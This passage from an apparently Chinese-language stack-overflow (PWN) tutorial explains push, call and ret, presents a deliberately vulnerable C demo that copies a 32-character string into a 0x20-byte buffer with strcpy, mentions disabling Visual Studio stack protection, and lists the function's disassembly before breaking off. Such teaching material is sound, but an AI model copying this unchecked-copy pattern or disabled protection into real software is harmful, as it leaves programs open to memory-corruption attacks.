inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">printf</span>(<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;%d\n&#34;</span>,<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">123</span>);<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">而汇编则是这样的：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="padding: 2px 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);line-height: 18px;font-size: 14px;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">1</span>push 123<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">2</span>push xxx        ;字符串地址<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">3</span>call printf<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">push的作用是将操作数压入栈中，细分操作为先将<code style="font-size: inherit;line-height: inherit;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(248, 35, 117);background: rgb(248, 248, 248);">ESP-4</code>，然后将操作数放入ESP指向的内存空间中。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">call的作用是改变EIP指向目标函数地址，并将下一条指令的地址压入栈中，当目标函数执行完成后，会通过ret指令返回到下一条指令处继续执行。</p><h3 style="color: inherit;line-height: inherit;margin-top: 1.6em;margin-bottom: 1.6em;font-weight: bold;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="font-size: inherit;line-height: inherit;display: inline-block;font-weight: normal;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;">0x02 PWN之栈溢出原理</span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid rgb(239, 235, 233);border-right: 20px solid transparent;"> </span></h3><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">介绍完基础后，我们来了解一下为什么会存在栈溢出漏洞。</p><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">首先写一段demo代码如下：</p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);padding: 0.5em;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">1</span><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">void</span> <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">pwn1</span><span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">(<span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">char</span>* str)</span> </span>{<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">2</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">char</span> buf[<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0x20</span>] = { <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span> };<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">3</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">strcpy</span>(buf, str);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">4</span>    <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">printf</span>(<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;%s\n&#34;</span>, buf);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">5</span>}<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">6</span><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;">void</span> <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">main</span><span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">()</span> </span>{<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">7</span>    pwn1(<span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">&#34;12345678901234567890123456789012&#34;</span>);<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">8</span>    getchar();<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">9</span>}<br/></code></pre><p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;">VS编译器首先要关闭栈保护：<br/></p><figure style="font-size: inherit;color: inherit;line-height: inherit;"><img class="rich_pages wxw-img" data-ratio="0.6657407407407407" title="image" data-type="png" data-w="1080" style="font-size: inherit;color: inherit;line-height: inherit;display: block;margin-right: auto;margin-left: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=9a0a81f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fic56Y1PMq5MVrGOfbNIMVjGXKDlnaPtgn7Mf6Cx4TobibUOpbHEFWSM9xqraogVxokMV2GeMMLVES2VdDfC9ciamQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="line-height: inherit;margin-top: 10px;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;">01</figcaption></figure><br/>然后编译，调试执行：<br/>pwn1的汇编代码如下：<p style="font-size: inherit;color: inherit;line-height: inherit;margin-top: 1.7em;margin-bottom: 1.7em;"><br/></p><pre style="font-size: inherit;color: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;line-height: 18px;font-size: 14px;word-spacing: 0px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);padding: 0.5em;overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 1</span><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">00</span>B516F<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span> &lt;pw <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| 55            |</span> push ebp                                              <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| <br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 2</span>00B516F1     |</span> <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">8</span>BEC          <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| mov ebp,esp                                           |</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 3</span><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">00</span>B516F3     <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| 83EC 60       |</span> sub esp,<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0x60</span>                                          <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">|<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 4</span>00B516F6     |</span> <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">53</span>            <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| push ebx                                              |</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 5</span><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">00</span>B516F7     <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| 56            |</span> push esi                                              <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">|<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 6</span>00B516F8     |</span> <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">57</span>            <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| push edi                                              |</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 7</span><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">00</span>B516F9     <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| C645 E0 00    |</span> mov byte ptr <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">ss:</span>[ebp-<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0x20</span>],<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0x0</span>                        <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| <br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 8</span>00B516FD     |</span> <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">33</span>C<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>          <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| xor eax,eax                                           |</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;"> 9</span><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">00</span>B516FF     <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| 8945 E1       |</span> mov dword ptr <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">ss:</span>[ebp-<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0x1F</span>],eax                       <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">|<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">10</span>00B51702     |</span> <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">8945</span> E5       <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| mov dword ptr ss:[ebp-0x1B],eax                       |</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">11</span><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">00</span>B51705     <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| 8945 E9       |</span> mov dword ptr <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">ss:</span>[ebp-<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0x17</span>],eax                       <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">|<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">12</span>00B51708     |</span> <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">8945</span> ED       <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| mov dword ptr ss:[ebp-0x13],eax                       |</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">13</span><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">00</span>B5170B     <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| 8945 F1       |</span> mov dword ptr <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">ss:</span>[ebp-<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0xF</span>],eax                        <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">|<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">14</span>00B5170E     |</span> <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">8945</span> F5       <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| mov dword ptr ss:[ebp-0xB],eax                        |</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">15</span><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">00</span>B51711     <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| 8945 F9       |</span> mov dword ptr <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">ss:</span>[ebp-<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0x7</span>],eax                        <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">|<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">16</span>00B51714     |</span> <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">66</span><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">:</span><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">8945</span> FD    <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| mov word ptr ss:[ebp-0x3],ax                          |</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">17</span><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">00</span>B51718     <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| 8845 FF       |</span> mov byte ptr <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">ss:</span>[ebp-<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0x1</span>],al                          <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">|<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">18</span>00B5171B     |</span> <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">90</span>            <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| nop                                                   |</span> <br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">19</span><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">00</span>B5171C     <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| 8B45 08       |</span> mov eax,dword ptr <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">ss:</span>[ebp+<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0x8</span>]                        <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| <br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">20</span>00B5171F     |</span> <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">50</span>            <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| push eax                                              |</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">21</span><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">00</span>B5172<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>     <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| 8D4D E0       |</span> lea ecx,dword ptr <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">ss:</span>[ebp-<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0x20</span>]                       <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">|<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">22</span>00B51723     |</span> <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">51</span>            <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| push ecx                                              |</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">23</span><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">00</span>B51724     <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| E8 9FF9FFFF   |</span> call pwn.B510C8                                       <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">|Strcpy<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">24</span>00B51729     |</span> <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">83</span>C4 08       <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| add esp,0x8                                           |</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">25</span><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">00</span>B5172C     <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| 8D45 E0       |</span> lea eax,dword ptr <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">ss:</span>[ebp-<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0x20</span>]                       <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| <br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">26</span>00B5172F     |</span> <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">50</span>            <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| push eax                                              |</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">27</span><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">00</span>B5173<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>     <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| 68 306BB500   |</span> push pwn.B56B3<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>                                       <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| B56B30:&#34;%s\n&#34;<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">28</span>00B51735     |</span> E8 E6FBFFFF   <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| call pwn.B51320                                       |</span>Printf<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">29</span><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">00</span>B5173A     <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| 83C4 08       |</span> add esp,<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0x8</span>                                           <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">|<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">30</span>00B5173D     |</span> <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">5</span>F            <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| pop edi                                               |</span> <br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">31</span><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">00</span>B5173E     <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| 5E            |</span> pop esi                                               <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">|<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">32</span>00B5173F     |</span> <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">5</span>B            <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| pop ebx                                               |</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">33</span><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">00</span>B5174<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">0</span>     <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| 8BE5          |</span> mov esp,ebp                                           <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">|<br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">34</span>00B51742     |</span> <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">5</span>D            <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| pop ebp                                               |</span><br/><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);padding-right: 20px;overflow-wrap: inherit !important;word-break: inherit !important;">35</span><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">00</span>B51743     <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">| C3            |</span> ret                                                   <span style="font-size: inherit;line-height: inherit;color: rgb(255, 152, 35);overflow-wrap: inherit !important;word-break: inherit !important;">|<br/><span 